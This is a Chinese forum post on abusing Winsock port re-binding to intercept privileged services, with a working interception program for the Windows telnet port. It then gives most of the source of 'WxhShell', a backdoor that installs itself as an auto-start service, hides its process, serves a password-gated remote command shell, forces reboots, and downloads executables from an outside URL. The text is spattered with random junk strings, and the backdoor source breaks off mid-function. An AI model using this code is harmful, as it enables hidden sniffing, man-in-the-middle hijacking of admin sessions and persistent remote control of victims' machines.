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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: O'mX7rY<<(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); % -SP  
|LjCtm)@+  
  saddr.sin_family = AF_INET; kO9yei  
SB F3\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); dZYS5_wr  
lW2qVR  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); LS_QoS  
p1D-Q7F  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $Z,+aLmb  
vLC&C-f  
  这意味着什么?意味着可以进行如下的攻击: [+%*s3`c#  
cN :;ir  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 );*GOLka  
IQ~()/;3d  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Q{a!D0;4v  
8q0 .yhb  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 '- ~86Q  
1|]-F;b  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Op0 #9W  
j IW:O  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 W"0#  
XR&*g1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 h'}5 "m  
yA_d${n  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 b9vKux  
C6Mb(&  
  #include  z/ i3  
  #include 7+fik0F  
  #include Vz,WPm$I  
  #include    HR}c9wy,q\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   hN}X11  
  int main() w9oiu$7),  
  { bw[!f4~  
  WORD wVersionRequested;  O{4m-;  
  DWORD ret; "-Ns1A8  
  WSADATA wsaData; v ;9s  
  BOOL val; |#sP1w'l]  
  SOCKADDR_IN saddr; t (1z+  
  SOCKADDR_IN scaddr; {P]l{W@li  
  int err; `b2 I)xC#  
  SOCKET s; l(`w]=t&  
  SOCKET sc; Rl)/[T  
  int caddsize; bZi>   
  HANDLE mt; W t8 RC  
  DWORD tid;   <ya3|ycnS  
  wVersionRequested = MAKEWORD( 2, 2 ); J+;.t&5R  
  err = WSAStartup( wVersionRequested, &wsaData ); G ;z2}Ei  
  if ( err != 0 ) { X3"V1@-i4$  
  printf("error!WSAStartup failed!\n"); A ssf f;  
  return -1; mrJQB I+  
  } YcGqT2oLP  
  saddr.sin_family = AF_INET; -0kwS4Hx2  
   REt()$ 7~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 T#( s2  
)O }x&@Q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )~5`A*Ku  
  saddr.sin_port = htons(23); DB*IVg  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z><JbSE?  
  { H"-p^liw  
  printf("error!socket failed!\n"); 5~sJ$5<,  
  return -1; &&m%=i.qK  
  } `@ `CZg  
  val = TRUE; %xg"e O2x  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7' 6m;b~F  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;Y~;G7  
  { 0]WM:6 h  
  printf("error!setsockopt failed!\n"); u54+oh|,M  
  return -1; s=6w-'; V  
  } 2x{3'^+l  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9]S}m[8k  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 eag$i.^aS  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 } FFW,x  
YY.;J3C  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) l&C%oW  
  { W0?yPP=.  
  ret=GetLastError(); p?!] sO1l  
  printf("error!bind failed!\n"); 2{ptV\f]D  
  return -1; Bg#NB  
  } S</" ^C51J  
  listen(s,2); ^&,{  
  while(1) !|`YNsR  
  { c\R! z&y~  
  caddsize = sizeof(scaddr); H\ NO4=  
  //接受连接请求 Gd'^vqo<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); '[A>eC++  
  if(sc!=INVALID_SOCKET) (C. 1'<]  
  { is`a_{5e=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); f[%iRfUFw  
  if(mt==NULL) v=/V<3  
  { aEgzQono  
  printf("Thread Creat Failed!\n"); HL_MuyE  
  break; W58 \V  
  } - BocWq\  
  } 1&m08dZm5  
  CloseHandle(mt); F 6SIhf.;  
  } tBf u{oC  
  closesocket(s); W`;E-28Dg  
  WSACleanup(); $+rdzsf)+/  
  return 0; ?C4a,%  
  }   LxG :?=O.  
  DWORD WINAPI ClientThread(LPVOID lpParam) =si<OB  
  { m6JIq}CMb  
  SOCKET ss = (SOCKET)lpParam; Q}1PPi,  
  SOCKET sc; AA@J~qd u  
  unsigned char buf[4096]; )~WxNn3rx  
  SOCKADDR_IN saddr; / P{f#rV5  
  long num; 5#iv[c  
  DWORD val; Ib!`ChZ  
  DWORD ret; id*UTY Tg  
  //如果是隐藏端口应用的话,可以在此处加一些判断 :yO)g]KF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   3J@# V '  
  saddr.sin_family = AF_INET; o{:D  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  EI+.Q  
  saddr.sin_port = htons(23); <FGM/e4  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *X,vu2(I-=  
  { /LJ?JwAvg5  
  printf("error!socket failed!\n"); U-|g tND  
  return -1; & 8e~<  
  } Kw'A%7^e  
  val = 100; \ar.(J  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x!Wl&  
  { :vc[ iZ  
  ret = GetLastError(); 2 0hE)!A  
  return -1; }!B<MGBd  
  } iT I W;Cv  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qxE~Moht  
  { `yc .A%5  
  ret = GetLastError(); cITQ,ah  
  return -1; EjvxfqPv  
  } 3WaYeol`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~Ge-7^Fo7  
  { E7y<iaA{~  
  printf("error!socket connect failed!\n"); BYwG\2?~  
  closesocket(sc); '0w'||#1  
  closesocket(ss); (}bP`[@rX!  
  return -1; Lt=#tu&d  
  } 3wa }p^   
  while(1) Qx$Yj  
  { Lv#DIQ8y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 XnV|{X%]U  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 XPb7gd"% W  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6`F_js.a  
  num = recv(ss,buf,4096,0); 5a-8/.}cP  
  if(num>0) 2}+V3/  
  send(sc,buf,num,0); sL[,J[AN;  
  else if(num==0) H6*F?a`)I  
  break; O{LWQ"@y  
  num = recv(sc,buf,4096,0); M="%NxuS  
  if(num>0) &eyFApM[Z  
  send(ss,buf,num,0); [+>$'Du  
  else if(num==0) GT2;o  
  break; f`H}Y!W(  
  } A+:K!|w  
  closesocket(ss); D55dD>  
  closesocket(sc); P4ot, Q4  
  return 0 ; -KbT[]  
  } sd.:PE <  
JFl@{6c  
X]Sr]M^EK  
========================================================== L@0DT&5  
"5ah{,  
下边附上一个代码,,WXhSHELL e-\J!E'1F  
,,b_x@y*  
========================================================== 980[]&(  
$UO7AHk  
#include "stdafx.h" - C8 h$P  
(F~eknJ  
#include <stdio.h> T?NwSxGo  
#include <string.h> 8_mdh+  
#include <windows.h> lOcvRF  
#include <winsock2.h> pO GVD  
#include <winsvc.h> Y KeOH  
#include <urlmon.h> i%v^Zg&FU  
R&=Y7MfZ  
#pragma comment (lib, "Ws2_32.lib") 44($a9oa2  
#pragma comment (lib, "urlmon.lib") !j( v-pQf"  
!9OAMHa*9  
#define MAX_USER   100 // 最大客户端连接数 6^}GXfJAc  
#define BUF_SOCK   200 // sock buffer e,|"9OK  
#define KEY_BUFF   255 // 输入 buffer ^cBA8 1  
x w]Zo<F  
#define REBOOT     0   // 重启 w,9$*=k  
#define SHUTDOWN   1   // 关机 X62z>mM  
+ ECV|mkk  
#define DEF_PORT   5000 // 监听端口 qEX59v  
}=;N3Q" #y  
#define REG_LEN     16   // 注册表键长度 hH`yQGZ  
#define SVC_LEN     80   // NT服务名长度 5H;*Nj@  
jHTaG%oh  
// 从dll定义API Y#3m|b45n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I?Eh 0fI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6HFA2~A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XOVZ'V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J(g!>Sp!p  
axonqSf  
// wxhshell配置信息 }a|S gI  
struct WSCFG { $l-j(=Md  
  int ws_port;         // 监听端口 &I<R|a  
  char ws_passstr[REG_LEN]; // 口令 2mVH*\D  
  int ws_autoins;       // 安装标记, 1=yes 0=no i#iY;R8  
  char ws_regname[REG_LEN]; // 注册表键名 )6^b\`  
  char ws_svcname[REG_LEN]; // 服务名 Vr`UF0_3q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z35n3q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y @h^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3zMmpeq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6D _4o&N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <o^mQq&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OA&NWAm4  
rXo,\zI;u^  
}; `Nc3I\tCM  
D?8t'3no  
// default Wxhshell configuration 5/>G)&  
struct WSCFG wscfg={DEF_PORT, %[&cy'  
    "xuhuanlingzhe", 2lE { P  
    1, ^~eT# Y8  
    "Wxhshell", ;(TBg-LEK  
    "Wxhshell", 82efqzT  
            "WxhShell Service", W^P%k:anK  
    "Wrsky Windows CmdShell Service", .@/5Ln  
    "Please Input Your Password: ", kSoAnJ|  
  1, _OHz6ag  
  "http://www.wrsky.com/wxhshell.exe", g}L2\i688  
  "Wxhshell.exe" ;{j:5+'  
    }; K\,&wU  
ex&&7$CXc  
// 消息定义模块 MoO jM&9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; laKMQLtv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4VD'<`R[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G2 xYa$&][  
char *msg_ws_ext="\n\rExit."; E!C~*l]wJx  
char *msg_ws_end="\n\rQuit."; %ktU 51o  
char *msg_ws_boot="\n\rReboot..."; Y')in7g  
char *msg_ws_poff="\n\rShutdown..."; ukzXQe;l1  
char *msg_ws_down="\n\rSave to "; _av%`bb&z9  
bXC;6xZV  
char *msg_ws_err="\n\rErr!"; b> &kL  
char *msg_ws_ok="\n\rOK!"; FV!  
64h r| v  
char ExeFile[MAX_PATH]; @fPiGu`L  
int nUser = 0; 2p(K0PtX  
HANDLE handles[MAX_USER]; *.n9D  
int OsIsNt; T->O5t c  
Y&]pC  
SERVICE_STATUS       serviceStatus; Ab cmI*y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,Es5PmV@$%  
I]jVnQ>&  
// 函数声明 bmzs!fg_~R  
int Install(void); ~KHp~Xs`  
int Uninstall(void); J[RQF54qA{  
int DownloadFile(char *sURL, SOCKET wsh); WVf;uob{  
int Boot(int flag); @;JT }R H-  
void HideProc(void); !N?|[n1  
int GetOsVer(void); `b# w3 2  
int Wxhshell(SOCKET wsl); Bn-%).-ED  
void TalkWithClient(void *cs); Zb<DgJ=3  
int CmdShell(SOCKET sock); SN\;&(?G  
int StartFromService(void); =DcKHL(m  
int StartWxhshell(LPSTR lpCmdLine); yrE|cH'f0  
rq T@i(i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u`R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xa5I{<<U  
D.)R8X  
// 数据结构和表定义 ,hYUxh45  
SERVICE_TABLE_ENTRY DispatchTable[] = D9 ,~Fc  
{ d=Q0 /sI&  
{wscfg.ws_svcname, NTServiceMain}, [;h@ q}  
{NULL, NULL} - "h {B  
}; q}1AV7$Ai  
i *nNu-g  
// 自我安装 !NZFo S~  
int Install(void) oT_k"]~Q~2  
{ fL' 42  
  char svExeFile[MAX_PATH]; y3))I\QT  
  HKEY key; +Y'(,J  
  strcpy(svExeFile,ExeFile); +c+#InsY  
~~&8I!r e  
// 如果是win9x系统,修改注册表设为自启动 H [R|U   
if(!OsIsNt) { ^Me__Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,d&~#W]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RVlC8uJ;P  
  RegCloseKey(key); MJ4+|riB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CP["N(fF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bUU_NqUf*3  
  RegCloseKey(key); `+Wl fk;  
  return 0; . p<*n6E  
    } jbMzcn~ehI  
  } pn {Nk1Pl  
} `hY%<L sI  
else { +*lSB%`aS  
WSWaq\9]8  
// 如果是NT以上系统,安装为系统服务 ro|d B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X<vv:  
if (schSCManager!=0) %dhnp9'  
{ X3<<f`X  
  SC_HANDLE schService = CreateService Ycn*aR2  
  ( n;/yo~RR  
  schSCManager, )Uo)3FAn  
  wscfg.ws_svcname, wRi!eN?  
  wscfg.ws_svcdisp, -]A,SBs  
  SERVICE_ALL_ACCESS, GbBcC#0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w)5eD+n\-  
  SERVICE_AUTO_START, &,3.V+Sz  
  SERVICE_ERROR_NORMAL, 'HH[[9Q  
  svExeFile, zxT&K|  
  NULL, u\Tq5PYXt  
  NULL, D)K/zh)  
  NULL, '\[GquK;P  
  NULL, `G@]\)-!  
  NULL WVir[Kv%  
  ); o~*% g.  
  if (schService!=0) 118A6qyi  
  { rB< UOe  
  CloseServiceHandle(schService); EO:i+e]=  
  CloseServiceHandle(schSCManager); j1_CA5V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OU/PB  
  strcat(svExeFile,wscfg.ws_svcname); &3:-(:<U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :BN qr[=b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y'DI@  
  RegCloseKey(key); ZZX|MA!  
  return 0; /!P,o}l7  
    } F  MHp a  
  } K.JKE"j)d  
  CloseServiceHandle(schSCManager); %f*8JUE16  
} ?qO_t;:0>  
} X8GIRL)lJ  
)8!""n~  
return 1; J XPE9uH  
} BwEO2a{  
~]O~a}]g(  
// 自我卸载 1\$xq9  
int Uninstall(void) W{*U#:Jx1  
{  wC}anq>>  
  HKEY key;  &)T5V  
J)"2^?!&B  
if(!OsIsNt) { l*e*jA_>:7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jL<:N 8  
  RegDeleteValue(key,wscfg.ws_regname); |p-, B>p!  
  RegCloseKey(key); ;1'X_tp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L 1H!o!*  
  RegDeleteValue(key,wscfg.ws_regname); b>er'U  
  RegCloseKey(key); nxS|]  
  return 0; X6)-1.T&  
  } gp`$/ci  
} [U5[;BNRD  
} /q^)thJ~  
else { <v>^#/.0  
^<}9#q/rt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZUyG }6)J  
if (schSCManager!=0) TwH%P2)x  
{ M ~z A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3"NO"+Q  
  if (schService!=0) EZ:pcnL {  
  { ~:'tp28?  
  if(DeleteService(schService)!=0) { 7/& i'y  
  CloseServiceHandle(schService); a\pOgIp  
  CloseServiceHandle(schSCManager); ikX"f?Q;S2  
  return 0; X ^8@T  
  } WK)hj{k  
  CloseServiceHandle(schService); aMe]6cWHV>  
  } -K eoq  
  CloseServiceHandle(schSCManager); B52n'.  
} ~_8Dv<"a  
} `u$  Rd  
lR5[UKr  
return 1; f>!)y-7  
} hjf!FY*F  
~" |MwR!0  
// 从指定url下载文件 ]9qY(m  
int DownloadFile(char *sURL, SOCKET wsh) ;-sZaU;  
{ _N)/X|=~s  
  HRESULT hr; nsn  
char seps[]= "/"; fIe';a  
char *token; Oy EOb>  
char *file; [$M=+YRHMW  
char myURL[MAX_PATH]; (+uM |a  
char myFILE[MAX_PATH]; 1Xzgm0OS;  
qW+'#Jh@TV  
strcpy(myURL,sURL); D+#OB|&Dn  
  token=strtok(myURL,seps); f#mNx  
  while(token!=NULL) ~&HP }Q$#f  
  { 2qd5iOhX+  
    file=token; K|L&mL&8  
  token=strtok(NULL,seps); & pHSX  
  } gxnIur)  
Db4(E*/pj!  
GetCurrentDirectory(MAX_PATH,myFILE); 7[=\bL  
strcat(myFILE, "\\"); 5"sd  
strcat(myFILE, file); \ SCi\j/a(  
  send(wsh,myFILE,strlen(myFILE),0); H=lzW_(  
send(wsh,"...",3,0); I]GGmN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _E %!5u  
  if(hr==S_OK) s.|OdC>U =  
return 0; D/[;Y<X#V  
else TOT#l6yqdd  
return 1; Ec/&?|$  
Cv[_N%3[  
} f \ E9u}  
<+y%k~("  
// 系统电源模块 mH.c`*  
int Boot(int flag) )J^5?A  
{ 35Ro8 5j  
  HANDLE hToken; r 4 $<,~  
  TOKEN_PRIVILEGES tkp; <)$&V*\  
[KQ#b  
  if(OsIsNt) { joz0D!-"#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'm=TBNQTS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :6gRoMb]  
    tkp.PrivilegeCount = 1; 2Tp @;[!3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !78P+i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); NufRd/q  
if(flag==REBOOT) { XX7zm_>+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4A0v>G`E*#  
  return 0; _-|/$ jZ  
} .oS[ DTn5S  
else { &=*sN`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z0H+Or  
  return 0; 6E@TcN~ ,!  
} 15z(hzU?#  
  } Tnv,$KOhs  
  else { |.KB  
if(flag==REBOOT) { E4$y|Ni"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BZQ"[-V{  
  return 0; .],:pL9d  
} 1l5'N=hL  
else { gy1R.SN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;V?3Hwl  
  return 0; { SF'YbY  
} -x{@D{Q%  
} KV8Ok  
6d`qgEM3  
return 1; oI5^.Dr FW  
} EfB.K}b^  
C);3GPp  
// win9x进程隐藏模块 z}Lf]w?  
void HideProc(void) .6!cHL3ln  
{ C#V_Gb  
u9{SG^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N\"Hf=Y(~  
  if ( hKernel != NULL ) 5)Z:J  
  { Q@"}v_r4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #qu;{I#W3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p//mV H%  
    FreeLibrary(hKernel); #@' B\!<@=  
  } Y <`X$  
v^J']p  
return; HVdB*QEH  
} e,xJ%f  
{e$ @i  
// 获取操作系统版本 f 8\DAN  
int GetOsVer(void) !UR3`Xk  
{ ![!,i\x  
  OSVERSIONINFO winfo; qm<-(Qc(W  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SQ*%d.1  
  GetVersionEx(&winfo); FJq g,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HWIn.ij  
  return 1; 2Jky,YLcb  
  else beBv|kI4  
  return 0; _R^ZXtypd  
} n!sOKw  
_>a`dp.19  
// 客户端句柄模块 XTA:Y7"O  
int Wxhshell(SOCKET wsl) g\9&L/xDN  
{ gil:SUW1r  
  SOCKET wsh; sOVpDtZ]LR  
  struct sockaddr_in client; GPizR|}h  
  DWORD myID; RD0*]4>]  
W0;QufV  
  while(nUser<MAX_USER) AHMvh 7O?  
{ LN) yQ-  
  int nSize=sizeof(client); h+7U'+|%A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [?=DPE%  
  if(wsh==INVALID_SOCKET) return 1; Q,:h`%V  
qW*k|;S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ++UxzUd  
if(handles[nUser]==0) =jA.INin4  
  closesocket(wsh); 1;?w#/&t  
else I FvigDj?  
  nUser++; g6xQQ,q=l  
  } oKr= ]p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R5mb4  
ZFh[xg'0  
  return 0; nET<u;  
} ?)[=>Kp  
3''Uxlo\  
// 关闭 socket @+_pj.D  
void CloseIt(SOCKET wsh) =(~*8hJ  
{ M04u>| ,  
closesocket(wsh); cp"{W-Q{$  
nUser--; -;;m/QM  
ExitThread(0); >p#_ L^oZ%  
} Y9 Bk$$#\  
_,v>P2)  
// 客户端请求句柄 +6~zMKp  
void TalkWithClient(void *cs) ,,1y0s0`  
{ |Om9(xT  
~eS/gF?  
  SOCKET wsh=(SOCKET)cs; -O r\  
  char pwd[SVC_LEN]; 4/_! F'j  
  char cmd[KEY_BUFF]; <[T{q |*  
char chr[1]; 1bDAi2 H  
int i,j; 2f{a||  
(WP^}V5  
  while (nUser < MAX_USER) { YG5mzP<T  
@7;}6,)  
if(wscfg.ws_passstr) { DGw*BN%`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mVN\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y4lNxvY  
  //ZeroMemory(pwd,KEY_BUFF); `,Y3(=3Xe?  
      i=0; uJ fXe  
  while(i<SVC_LEN) { z5D*UOy5M  
\@T;/Pj{[  
  // 设置超时 gKmF#Z"\  
  fd_set FdRead; _KBa`lhE  
  struct timeval TimeOut; !w0=&/Y{R  
  FD_ZERO(&FdRead); -i_XP]b&  
  FD_SET(wsh,&FdRead); ,|;\)tT  
  TimeOut.tv_sec=8; }AiF 7N0  
  TimeOut.tv_usec=0; ka{!' ^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0zsmZ]b5E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |Ho} D~  
R((KAl]dL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W59xe&l  
  pwd=chr[0]; glkH??S  
  if(chr[0]==0xd || chr[0]==0xa) { 'F:Tv[qx  
  pwd=0; RMid}BRE  
  break; \C2HeA\#SW  
  } W'Y(@  
  i++; <^W5UU#Pg  
    } e5"5 U7  
JL<<EPC  
  // 如果是非法用户,关闭 socket mtw{7 E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r Cz,XYV  
} C~nL3w  
LWN9 D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q )8I(*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HV]u9nrt#  
x cZF_elt7  
while(1) { 9A|9:OdG1  
Sw?EF8}[  
  ZeroMemory(cmd,KEY_BUFF); g@>93j=cZU  
T&:~=  
      // 自动支持客户端 telnet标准   q]s_hWWv  
  j=0; N0ef5J JM`  
  while(j<KEY_BUFF) { afu!.}4Ct  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M=4b  
  cmd[j]=chr[0]; */|<5X;xIA  
  if(chr[0]==0xa || chr[0]==0xd) { #>sI XY  
  cmd[j]=0; 8KKhD$  
  break; vWL| vR  
  } YTr+"\CkA  
  j++; 5v=e(Ph +  
    } |8)\8b|VuC  
dVn_+1\L  
  // 下载文件 e+<9Sh7&  
  if(strstr(cmd,"http://")) { ,e GF~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Blj<|\ igc  
  if(DownloadFile(cmd,wsh)) H!l 9a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T`]P5Bk8r  
  else WYkh'sv >  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !;${2Q  
  } JBLh4c3  
  else { H6/gRv@  
+%K~HYN  
    switch(cmd[0]) { YgjN*8w\  
  k]2_vk^  
  // 帮助 \: B))y?}d  
  case '?': { +AFBTJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >Pvz5Hf/wW  
    break; b"B:DDw00  
  } 2@I0p\a  
  // 安装 ^ohIJcI-  
  case 'i': { I8YCXh  
    if(Install()) s%RG_"l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ynp#3 r  
    else v I,T1%llu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y! QYdf?  
    break; \p]B8hLW  
    } vF/wV'Kk  
  // 卸载 z*9 ke  
  case 'r': { m1xR uj]  
    if(Uninstall()) Ka<J* k3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *.Z~f"SZy*  
    else ,zxv>8Nt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g${k8.TV  
    break; Sl@Ucc31  
    } w6pXF5ur>  
  // 显示 wxhshell 所在路径 (A "yE4rYK  
  case 'p': { QZ*gR#K]Sz  
    char svExeFile[MAX_PATH]; BO%'/2eV  
    strcpy(svExeFile,"\n\r"); q>5j (,6F  
      strcat(svExeFile,ExeFile); c@J@*.q]   
        send(wsh,svExeFile,strlen(svExeFile),0); ~R50-O  
    break; RaP,dR+P  
    } *kEzGgTzoS  
  // 重启 ExeZj8U  
  case 'b': { s'$2 }K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (L(n%  
    if(Boot(REBOOT)) V)vik  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1I)oT-~  
    else { X; 6=WqJj  
    closesocket(wsh); sV\K[4HG  
    ExitThread(0); vTTXeS-b  
    } |=MhI5gsx  
    break; /'b7q y  
    } \f)GW$`  
  // 关机 E%W w)P  
  case 'd': { [^^Pl:+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (OA4H1DL^  
    if(Boot(SHUTDOWN)) M |f V7g  
